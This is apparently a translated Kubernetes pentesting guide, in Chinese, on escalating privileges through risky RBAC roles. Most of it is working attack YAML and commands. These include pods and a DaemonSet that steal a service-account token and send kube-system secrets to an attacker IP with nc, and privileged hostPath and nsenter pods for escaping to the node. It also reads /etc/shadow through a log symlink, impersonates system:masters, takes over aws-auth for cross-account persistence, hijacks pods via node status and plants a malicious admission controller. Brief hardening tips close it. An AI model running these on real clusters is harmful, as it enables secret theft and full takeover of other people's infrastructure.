在这里,您可以找到一些潜在危险的角色和集群角色配置。
请记住,您可以使用kubectl api-resources
获取所有支持的资源。
特权提升
特权提升是指在集群中以不同的权限 (在Kubernetes集群内或外部云中)获取对不同主体的访问权限 ,与您已经拥有的权限不同。在Kubernetes中,基本上有4种主要技术来提升特权 :
能够冒充 在Kubernetes集群内或外部云中具有更好权限的其他用户/组/服务账户
能够创建/修补/执行pods ,在其中您可以找到或附加具有更好权限的服务账户
能够从容器逃逸到节点 ,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)
第五种值得一提的技术是能够在pod中运行端口转发 ,因为您可能能够访问该pod内的有趣资源。
访问任何资源或动词(通配符)
通配符(*)对任何资源和任何动词授予权限 。它由管理员使用。在ClusterRole中,这意味着攻击者可以滥用集群中的任何命名空间。
Copy apiVersion : rbac.authorization.k8s.io/v1
kind : ClusterRole
metadata :
name : api-resource-verbs-all
rules :
rules :
- apiGroups : [ "*" ]
resources : [ "*" ]
verbs : [ "*" ]
使用特定动词访问任何资源
在RBAC中,某些权限带来了重大风险:
create
: 授予创建任何集群资源的能力,存在特权升级的风险。
Copy apiVersion : rbac.authorization.k8s.io/v1
kind : ClusterRole
metadata :
name : api-resource-verbs-all
rules :
rules :
- apiGroups : [ "*" ]
resources : [ "*" ]
verbs : [ "create" , "list" , "get" ]
Pod Create - Steal Token
一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。
以下是一个将窃取 bootstrap-signer
服务账户令牌并将其发送给攻击者的 pod 示例:
Copy apiVersion : v1
kind : Pod
metadata :
name : alpine
namespace : kube-system
spec :
containers :
- name : alpine
image : alpine
command : [ "/bin/sh" ]
args : [ "-c" , 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000' ]
serviceAccountName : bootstrap-signer
automountServiceAccountToken : true
hostNetwork : true
Pod 创建与逃逸
以下指示容器可以拥有的所有权限:
禁用 namespaces hostIPC 和 hostPid ,这可以帮助提升权限
禁用 hostNetwork namespace,允许访问以窃取节点的云权限和更好地访问网络
Copy apiVersion : v1
kind : Pod
metadata :
name : ubuntu
labels :
app : ubuntu
spec :
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers :
- image : ubuntu
command :
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy : IfNotPresent
name : ubuntu
securityContext :
allowPrivilegeEscalation : true
privileged : true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser : 0 # run as root (or any other user)
volumeMounts :
- mountPath : /host
name : host-volume
restartPolicy : Never # we want to be intentional about running this pod
hostIPC : true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork : true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID : true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes :
- name : host-volume
hostPath :
path : /
创建 pod:
Copy kubectl --token $token create -f mount_root.yaml
来自这条推文 的单行代码,并附加了一些内容:
Copy kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
现在您可以逃到节点,检查后期利用技术:
隐蔽性
您可能希望更加隐蔽 ,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问什么:
您可以在 https://github.com/BishopFox/badPods 找到如何创建/滥用前面特权 pod 配置的示例
Pod 创建 - 移动到云
如果您可以创建 一个pod (可选地创建一个服务账户 ),您可能能够通过将云角色分配给 pod 或服务账户 来获得云环境中的权限 ,然后访问它。
此外,如果您可以创建一个具有主机网络命名空间的 pod ,您可以窃取节点 实例的 IAM 角色。
有关更多信息,请查看:
Pod Escape Privileges 创建/补丁部署、守护进程集、有状态集、复制控制器、副本集、作业和定时作业
可以滥用这些权限来创建一个新 pod 并像前面的示例一样获得权限。
以下 yaml 创建一个守护进程集并提取 pod 内 SA 的令牌 :
Copy apiVersion : apps/v1
kind : DaemonSet
metadata :
name : alpine
namespace : kube-system
spec :
selector :
matchLabels :
name : alpine
template :
metadata :
labels :
name : alpine
spec :
serviceAccountName : bootstrap-signer
automountServiceAccountToken : true
hostNetwork : true
containers :
- name : alpine
image : alpine
command : [ "/bin/sh" ]
args : [ "-c" , 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000' ]
volumeMounts :
- mountPath : /root
name : mount-node-root
volumes :
- name : mount-node-root
hostPath :
path : /
Pods Exec
pods/exec
是 Kubernetes 中的一个资源,用于 在 pod 内部运行命令 。这允许 在容器内部运行命令或获取内部 shell 。
因此,可以 进入 pod 并窃取 SA 的令牌 ,或者进入特权 pod,逃逸到节点,并窃取节点中所有 pod 的令牌并 (滥用) 节点:
Copy kubectl exec -it < POD_NAM E > -n < NAMESPAC E > -- sh
port-forward
此权限允许将一个本地端口转发到指定 pod 中的一个端口 。这旨在能够轻松调试运行在 pod 内的应用程序,但攻击者可能会滥用它以获取对 pod 内有趣(如数据库)或脆弱应用程序(网页?)的访问:
Copy kubectl port-forward pod/mypod 5000:5000
主机可写的 /var/log/ 逃逸
正如本研究中所指出的 ,如果您可以访问或创建一个挂载了主机 /var/log/
目录 的 pod,您可以逃逸出容器 。
这基本上是因为当Kube-API 尝试获取 容器的日志(使用 kubectl logs <pod>
)时,它会通过 Kubelet 服务的 /logs/
端点请求 pod 的 0.log
文件。
Kubelet 服务暴露了 /logs/
端点,这基本上是暴露了容器的 /var/log
文件系统 。
因此,具有写入容器 /var/log/ 文件夹 权限的攻击者可以通过两种方式利用这种行为:
修改其容器的 0.log
文件(通常位于 /var/logs/pods/namespace_pod_uid/container/0.log
),使其成为指向 /etc/shadow
的符号链接 。然后,您将能够通过以下方式提取主机的 shadow 文件:
Copy kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
如果攻击者控制任何具有 读取 nodes/log
权限 的主体,他可以在 /host-mounted/var/log/sym
中创建一个 符号链接 指向 /
,当 访问 https://<gateway>:10250/logs/sym/
时,他将列出主机的根 文件系统(更改符号链接可以提供对文件的访问)。
Copy curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
< a href = "bin" > bin < /a >
< a href = "data/" > data/ < /a >
< a href = "dev/" > dev/ < /a >
< a href = "etc/" > etc/ < /a >
< a href = "home/" > home/ < /a >
< a href = "init" > init < /a >
< a href = "lib" > lib < /a >
[...]
实验室和自动化利用可以在 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
绕过 readOnly 保护
如果你足够幸运,并且高度特权的能力 CAP_SYS_ADMIN
可用,你可以直接将文件夹重新挂载为 rw:
Copy mount -o rw,remount /hostlogs/
绕过 hostPath readOnly 保护
正如在 这项研究 中所述,可以绕过保护:
Copy allowedHostPaths :
- pathPrefix : "/foo"
readOnly : true
这旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载具有可写访问权限的主机文件夹,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
Copy apiVersion : v1
kind : PersistentVolume
metadata :
name : task-pv-volume-vol
labels :
type : local
spec :
storageClassName : manual
capacity :
storage : 10Gi
accessModes :
- ReadWriteOnce
hostPath :
path : "/var/log"
---
apiVersion : v1
kind : PersistentVolumeClaim
metadata :
name : task-pv-claim-vol
spec :
storageClassName : manual
accessModes :
- ReadWriteOnce
resources :
requests :
storage : 3Gi
---
apiVersion : v1
kind : Pod
metadata :
name : task-pv-pod
spec :
volumes :
- name : task-pv-storage-vol
persistentVolumeClaim :
claimName : task-pv-claim-vol
containers :
- name : task-pv-container
image : ubuntu:latest
command : [ "sh" , "-c" , "sleep 1h" ]
volumeMounts :
- mountPath : "/hostlogs"
name : task-pv-storage-vol
冒充特权账户
通过 用户冒充 权限,攻击者可以冒充特权账户。
只需在 kubectl
命令中使用参数 --as=<username>
来冒充用户,或使用 --as-group=<group>
来冒充组:
Copy kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
或者使用 REST API:
Copy curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters" \
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
列出秘密
列出秘密的权限可能允许攻击者实际读取秘密 通过访问 REST API 端点:
Copy curl -v -H "Authorization: Bearer <jwt_token>" https:// < master_i p > : < por t > /api/v1/namespaces/kube-system/secrets/
读取秘密 – 暴力破解令牌 ID
虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 列出秘密 权限不同,仍然存在漏洞。系统中的默认服务帐户可以被枚举,每个帐户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 源代码 。
该令牌是从一个有限的 27 字符集(bcdfghjklmnpqrstvwxz2456789
)生成的,而不是完整的字母数字范围。这个限制将总的可能组合减少到 14,348,907 (27^5)。因此,攻击者可以在几个小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务帐户进行权限提升。
证书签名请求
如果您在资源 certificatesigningrequests
中具有动词 create
(或至少在 certificatesigningrequests/nodeClient
中)。您可以 创建 一个 新节点 的新 CeSR。
根据 文档,可以自动批准这些请求 ,因此在这种情况下您 不需要额外的权限 。如果没有,您需要能够批准请求,这意味着在 certificatesigningrequests/approval
中更新,并在 signers
中使用资源名称 <signerNameDomain>/<signerNamePath>
或 <signerNameDomain>/*
进行批准。
一个 具有所有所需权限的角色示例 是:
Copy apiVersion : rbac.authorization.k8s.io/v1
kind : ClusterRole
metadata :
name : csr-approver
rules :
- apiGroups :
- certificates.k8s.io
resources :
- certificatesigningrequests
verbs :
- get
- list
- watch
- create
- apiGroups :
- certificates.k8s.io
resources :
- certificatesigningrequests/approval
verbs :
- update
- apiGroups :
- certificates.k8s.io
resources :
- signers
resourceNames :
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs :
- approve
所以,随着新的节点CSR被批准,你可以滥用 节点的特殊权限来窃取秘密 和提升权限 。
在这篇文章 和这篇文章 中,GKE K8s TLS引导配置被设置为自动签名 ,并被滥用来生成新的K8s节点的凭证,然后利用这些凭证提升权限,窃取秘密。
如果你拥有提到的权限,你可以做同样的事情 。请注意,第一个例子绕过了防止新节点访问容器内秘密的错误,因为节点只能访问挂载在其上的容器的秘密。
绕过这个限制的方法就是为挂载有有趣秘密的容器的节点名称创建节点凭证 (但只需查看如何在第一篇文章中做到这一点):
Copy "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth 配置映射
可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 configmaps
的主体可以通过覆盖 aws-auth 配置映射来获得集群管理员权限。
所需的动词是 update
和 patch
,或者如果配置映射尚未创建,则为 create
:
Copy # Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
您可以使用 aws-auth
来实现 持久性 ,允许来自 其他账户 的用户访问。
然而,aws --profile other_account eks update-kubeconfig --name <cluster-name>
在不同账户中不起作用 。但实际上,如果您将集群的 ARN 放入而不仅仅是名称,aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
是可以工作的。
要使 kubectl
工作,只需确保 配置 受害者的 kubeconfig,并在 aws exec 参数中添加 --profile other_account_role
,这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
在 GKE 中升级
有 2 种方法可以将 K8s 权限分配给 GCP 主体 。在任何情况下,主体还需要权限 container.clusters.get
以便能够获取访问集群的凭据,或者您需要 生成自己的 kubectl 配置文件 (请遵循下一个链接)。
在与 K8s API 端点交谈时,GCP 身份验证令牌将被发送 。然后,GCP 通过 K8s API 端点将首先 检查主体 (通过电子邮件) 是否在集群内有任何访问权限 ,然后检查是否通过 GCP IAM 有任何访问权限 。
如果 任何 这些条件为 真 ,他将会 得到响应 。如果 不 ,将会给出一个 错误 ,建议通过 GCP IAM 授予权限 。
然后,第一种方法是使用 GCP IAM ,K8s 权限有其 等效的 GCP IAM 权限 ,如果主体拥有它,就可以使用它。
GCP - Container Privesc 第二种方法是 在集群内分配 K8s 权限 ,通过其 电子邮件 识别用户(包括 GCP 服务账户)。
创建 serviceaccounts 令牌
可以 创建 TokenRequests (serviceaccounts/token
) 的主体在与 K8s API 端点交谈时 SAs(信息来自 这里 )。
ephemeralcontainers
可以 update
或 patch
pods/ephemeralcontainers
的主体可以获得 其他 pods 的代码执行 ,并可能通过添加具有特权的 securityContext 的临时容器 突破 到其节点。
ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
具有 create
、update
或 patch
任何动词的主体在 validatingwebhookconfigurations
或 mutatingwebhookconfigurations
上可能能够 创建这样的 webhookconfigurations 以便能够 提升权限 。
有关 mutatingwebhookconfigurations
的示例,请查看此帖的此部分 。
升级
正如您在下一部分中所读到的:内置的特权升级预防 ,主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 roles
或 clusterroles
上具有 动词 escalate
。
然后他可以更新/创建具有比他拥有的更好权限的新角色和集群角色。
节点代理
具有访问 nodes/proxy
子资源的主体可以通过 Kubelet API 在 pods 上执行代码 (根据 此 )。有关 Kubelet 身份验证的更多信息,请访问此页面:
Kubelet Authentication & Authorization 您可以在这里找到如何通过 与 Kubelet API 进行授权的 RCE 。
删除 pods + 无法调度的节点
可以 删除 pods (在 pods
资源上使用 delete
动词),或 驱逐 pods (在 pods/eviction
资源上使用 create
动词),或 更改 pod 状态 (访问 pods/status
)并可以 使其他节点无法调度 (访问 nodes/status
)或 删除节点 (在 nodes
资源上使用 delete
动词)并控制一个 pod 的主体,可以 从其他节点窃取 pods ,使它们在 被攻陷的 节点 中 执行 ,攻击者可以 窃取这些 pods 的令牌 。
Copy patch_node_capacity () {
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/ $1 /status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true ; do patch_node_capacity < id_other_nod e > ; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system < privileged_pod_nam e >
服务状态 (CVE-2020-8554)
可以 修改 services/status
的主体可以设置 status.loadBalancer.ingress.ip
字段,以利用 未修复的 CVE-2020-8554 并发起 MiTM 攻击 。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 这个 )。
节点和 Pods 状态
具有 nodes/status
或 pods/status
上的 update
或 patch
权限的主体,可以修改标签以影响强制执行的调度约束。
内置特权升级防护
Kubernetes 有一个 内置机制 来防止特权升级。
该系统确保 用户无法通过修改角色或角色绑定来提升其权限 。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。
该规则规定 用户只能创建或更新角色,如果他们拥有角色所包含的所有权限 。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 是限制在同一命名空间(或集群范围内)。
之前规则有一个例外。如果主体对 roles
或 clusterroles
具有 动词 escalate
,他可以增加角色和集群角色的权限,即使他自己没有这些权限。
获取 & 修改 RoleBindings/ClusterRoleBindings
显然,这个技术之前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。
创建 Rolebindings 的权限允许用户 将角色绑定到服务账户 。这个权限可能导致特权升级,因为它 允许用户将管理员权限绑定到被攻陷的服务账户 。
其他攻击
Sidecar 代理应用
默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。
创建一个 sidecar 代理应用
创建你的 .yaml
Copy kubectl run app --image=bash --command -oyaml --dry-run=client > < appName.yam l > -- sh -c 'ping google.com'
编辑您的 .yaml 文件并添加未注释的行:
Copy #apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command : [ "sh" , "-c" , "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext :
capabilities :
add : [ "NET_ADMIN" ]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
查看代理的日志:
Copy kubectl logs app -C proxy
更多信息请访问: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
恶意准入控制器
准入控制器在对象持久化之前拦截对Kubernetes API服务器的请求 ,但在请求经过身份验证 和授权之后 。
如果攻击者以某种方式成功注入一个变更准入控制器 ,他将能够修改已经通过身份验证的请求 。这可能导致权限提升,并且通常能够在集群中持久化。
来自 https://blog.rewanthtammana.com/creating-malicious-admission-controllers :
Copy git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
检查状态以查看是否已准备好:
Copy kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG 然后部署一个新的 pod:
Copy kubectl run nginx --image nginx
kubectl get po -w
当你看到 ErrImagePull
错误时,请使用以下任一查询检查镜像名称:
Copy kubectl get po nginx -o=jsonpath= '{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
正如您在上面的图像中看到的,我们尝试运行镜像 nginx
,但最终执行的镜像是 rewanthtammana/malicious-image
。发生了什么!!?
技术细节
./deploy.sh
脚本建立了一个变更的 webhook 认证控制器,该控制器根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:
Copy patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image
.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass 最佳实践
禁用服务账户令牌的自动挂载
Pods 和服务账户 :默认情况下,pods 会挂载服务账户令牌。为了增强安全性,Kubernetes 允许禁用此自动挂载功能。
如何应用 :在服务账户或 pods 的配置中设置 automountServiceAccountToken: false
,从 Kubernetes 版本 1.6 开始。
在 RoleBindings/ClusterRoleBindings 中限制用户分配
选择性包含 :确保仅将必要的用户包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除不相关的用户,以保持严格的安全性。
使用特定于命名空间的角色而非集群范围的角色
角色与 ClusterRoles :优先使用 Roles 和 RoleBindings 来处理特定于命名空间的权限,而不是适用于整个集群的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细的控制,并限制了权限的范围。
使用自动化工具
参考文献